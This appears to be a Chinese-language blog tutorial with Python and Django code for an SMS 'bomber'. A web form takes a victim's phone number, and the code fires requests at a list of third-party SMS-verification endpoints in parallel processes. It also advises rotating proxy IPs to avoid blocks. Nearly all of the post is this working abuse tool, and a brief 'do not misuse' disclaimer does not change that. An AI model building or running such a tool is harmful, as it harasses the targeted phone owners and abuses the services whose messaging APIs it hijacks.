废话不多说了,直接进入正文
用前几天的我发布过的轰炸鸡接口+requests+多进程就可以打造了,
首先我在views文件中定义了一个视图,名字就叫轰炸鸡,3.txt就是接口
原理很简单,用多进程跑request.get,请求每一个接口即可,其中可能会出现
未知的错误,所以用try错误捕捉来增强程序的健壮性,条件允许的话就多用几个,
代理ip吧,因为请求速度实在过于变态,很容易被封掉ip,用代理可以很好的解决这个问题,
下面是视图函数views
from django.shortcuts import render,HttpResponse
import multiprocessing
from django.contrib import messages
import os
from book.views import jc
from django.conf import settings
from .轰炸鸡测试 import get,number
@jc
def index(request):
if request.method=='GET':
return render(request,'hongzha.html')
else:
# a=settings.BASE_DIR
# print(a)
num=request.POST.get('haoma',None)
if not num is None:
messages.warning(request, '轰炸%s完毕'% num)
pool=multiprocessing.Pool(5)
for x in number(num):
pool.apply_async(get,(x,))
pool.close()
pool.join()
# h=a+'/hongzha/轰炸鸡测试.py'
# os.system(f'python {h}')
return render(request,'hongzha.html')
else:
a='号码不能为空'
return render(request,'hongzha.html',{'data':a})
其中jc是我定义的装饰器,用于登录验证的,可以忽略
需要注意的地方有:
1.需要自己先写好一个能跑的py,然后导入进去views中,这样能够最大程度的
保持views代码的清爽,
2.如果放在web中,需要导入os这个库,用os.getcwd,来确定当前的路径,
会出现找不到文件的错误,还会引发其他奇怪的错误。
3.这个例子并不完善,进程启动就必须跑完。。。。。这个以后再优化,
花了大概2小时写的,有点匆忙,很多东西没有,考虑到,
4.本次测试仅用作技术交流使用,请勿用于非法用途,请不要滥用!!!
下面是我自己写的一小段hong炸源码
def number(n):
cwd=os.getcwd()
print(cwd)
with open(f'{cwd}/hongzha/3.txt','r')as f:
a=f.readlines()
aa=[]
for x in a:
aa.append(x.strip())
# 返回所有替换后的请求
bb=[]
for x in aa:
a=x.replace('文本内手机号',f'{n}')
bb.append(a)
return bb
def get(url):
try:
status=requests.get(url,timeout=3,headers=headers,proxies=t)
print(status.status_code)
if status==200:
# 状态显示
print('成功')
except:
print('失败')
if __name__ == '__main__':
pool=multiprocessing.Pool(10)
for x in number('需要hong炸的手机号'):
pool.apply_async(get,(x,))
pool.close()
pool.join()